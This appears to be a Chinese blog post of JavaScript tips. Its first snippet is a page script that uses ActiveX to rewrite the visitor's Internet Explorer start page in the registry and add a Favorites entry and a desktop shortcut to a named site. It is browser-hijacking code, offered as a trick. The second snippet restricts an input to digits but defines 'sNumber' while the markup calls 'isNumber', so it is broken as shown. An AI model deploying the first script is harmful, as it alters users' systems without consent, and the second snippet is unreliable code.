强大的js

1.修改ie主页

<script   language= "Javascript "> 
    var   WshShell   =   new   ActiveXObject( "WScript.Shell "); 
    var   url= "http://lucky.myrice.com "; 
    var   title= "【孟宪会之精彩世界】 "; 
    WshShell.RegWrite   ( "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet   Explorer\\Main\\Start   Page ",   url); 
    window.status=WshShell.RegRead   ( "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet   Explorer\\Main\\Start   Page ") 
    var   FavoritesPath   =   WshShell.SpecialFolders( "Favorites "); 
    var   oUrlLink   =   WshShell.CreateShortcut(FavoritesPath+ '\\ '+title+ ".lnk "); 
    oUrlLink.TargetPath   =   url; 
    oUrlLink.Save(); 
    var   DesktopPath   =   WshShell.SpecialFolders( "Desktop ");//返回桌面路径 
    //alert(DesktopPath) 
    //DesktopPath=DesktopPath.substring(0,DesktopPath.length-7) 
    var   MyShortcut   =   WshShell.CreateShortcut(DesktopPath   +   "\\ "   +   title+   "的快捷方式.lnk "); 
    MyShortcut.TargetPath   =   url; 
    MyShortcut.WindowStyle   =   4; 
    MyShortcut.IconLocation   =   WshShell.ExpandEnvironmentStrings( "%windir%\\SYSTEM\\SHELL32.DLL,46 "); 
    MyShortcut.Save(); 
</script> 


2.限制input只能输入数字(兼容IE和Firefox)

sNumber = function (e) {  
    if ($.browser.msie) {  
        if ( ((event.keyCode > 47) && (event.keyCode < 58)) ||  
              (event.keyCode == 8) ) {  
            return true;  
        } else {  
            return false;  
        }  
    } else {  
        if ( ((e.which > 47) && (e.which < 58)) ||  
              (e.which == 8) ) {  
            return true;  
        } else {  
            return false;  
        }  
    }  
}
<input type="text" onkeypress="javascript:return isNumber(event);"/>  

你可能感兴趣的:(IE,Microsoft)